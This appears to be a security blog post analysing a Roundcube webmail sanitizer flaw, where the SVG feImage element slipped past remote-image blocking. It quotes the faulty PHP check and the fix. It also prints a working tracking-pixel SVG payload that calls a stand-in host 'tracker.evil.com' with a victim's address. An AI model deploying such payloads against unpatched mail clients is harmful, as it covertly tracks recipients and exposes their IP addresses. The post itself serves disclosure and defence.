How a Forgotten SVG Element Broke Roundcube’s Image Blocking

4 min read

Security researchers love the SVG spec because it’s enormous and full of surprises. Case in point: Roundcube’s HTML sanitizer carefully blocked remote images on <img>, <image>, and <use> elements—but completely missed <feImage>. The result? Email tracking pixels that bypassed “Block remote images” entirely.

The Core Insight

The vulnerability (CVE pending, fixed in 1.5.13/1.6.13) exploits a gap in Roundcube’s rcube_washtml sanitizer. When processing HTML attributes, the sanitizer routes them through different code paths:

  1. Image sources (is_image_attribute()) → blocks external URLs
  2. Link URLs (is_link_attribute()) → allows HTTP/HTTPS through

The catch: is_image_attribute() only matched href on <use> and <image> elements. It didn’t know about <feImage>.

Meanwhile, is_link_attribute() is a catch-all that matches href on any element:

private function is_link_attribute($tag, $attr) {
    return $attr === 'href';  // Matches everything!
}

So when the sanitizer encounters <feImage href="https://tracker.evil.com/pixel.svg">:
is_image_attribute('feimage', 'href') returns false (not in the allowlist)
is_link_attribute('feimage', 'href') returns true (catch-all)
– URL passes through wash_link() unchanged
– Browser fetches the external resource when rendering the SVG filter

Why This Matters

This is a tracking pixel bypass, not a full XSS. But it completely defeats the “Block remote images” privacy protection that security-conscious users rely on:

What attackers can learn:
– Confirmation that you opened their email
– Your IP address and approximate location
– Browser fingerprint information
– Timing of when you read the email

The attack payload is invisible:

<svg width="1" height="1" style="position:absolute;left:-9999px;">
  <defs>
    <filter id="t">
      <feImage href="https://tracker.evil.com/pixel?email=victim@test.com" 
               width="1" height="1"/>
    </filter>
  </defs>
  <rect filter="url(#t)" width="1" height="1"/>
</svg>

This 1×1 SVG positioned off-screen triggers a network request when the email is viewed. The filter evaluation happens automatically—no user interaction required.

The broader lesson is about allowlist maintenance. <feImage> is a rarely-used SVG filter primitive that loads external images as filter inputs. It’s documented in the SVG 1.1 spec but almost never seen in real-world content. When Roundcube’s developers built their image-blocking logic, they likely never encountered it.

As the researcher notes: “One SVG bug usually means more. Allowlists that grow by hand tend to have gaps like this.”

Key Takeaways

  • Affected versions: Roundcube < 1.5.13 and 1.6.x < 1.6.13
  • Attack type: Remote image load bypass via <feImage> SVG element
  • Impact: Tracking pixel injection, IP disclosure, email open confirmation
  • Root cause: Catch-all is_link_attribute() matched before image-specific checks
  • Fix: Added feimage to the image-attribute regex: /^(feimage|image|use)$/i
  • Timeline: Reported Jan 4, 2026 → Fixed Feb 8, 2026

Looking Ahead

This vulnerability exemplifies a recurring pattern in email security: the sanitization surface area is enormous. HTML emails can contain CSS, SVG, embedded fonts, and complex nested structures. Every browser quirk and spec edge case is a potential bypass.

The SVG filter specification alone defines dozens of elements (<feBlend>, <feColorMatrix>, <feComposite>, <feMerge>, etc.) that can reference external resources in various ways. Auditing all of them—across all browsers—is a significant undertaking.

For Roundcube administrators: update immediately. For email security practitioners: consider this a reminder to audit your own SVG handling. The spec has more surprises waiting.


Based on analysis of Roundcube Webmail <1.5.13 / <1.6.13 allows attackers to force remote image loads via SVG feImage


Share this article

Related Articles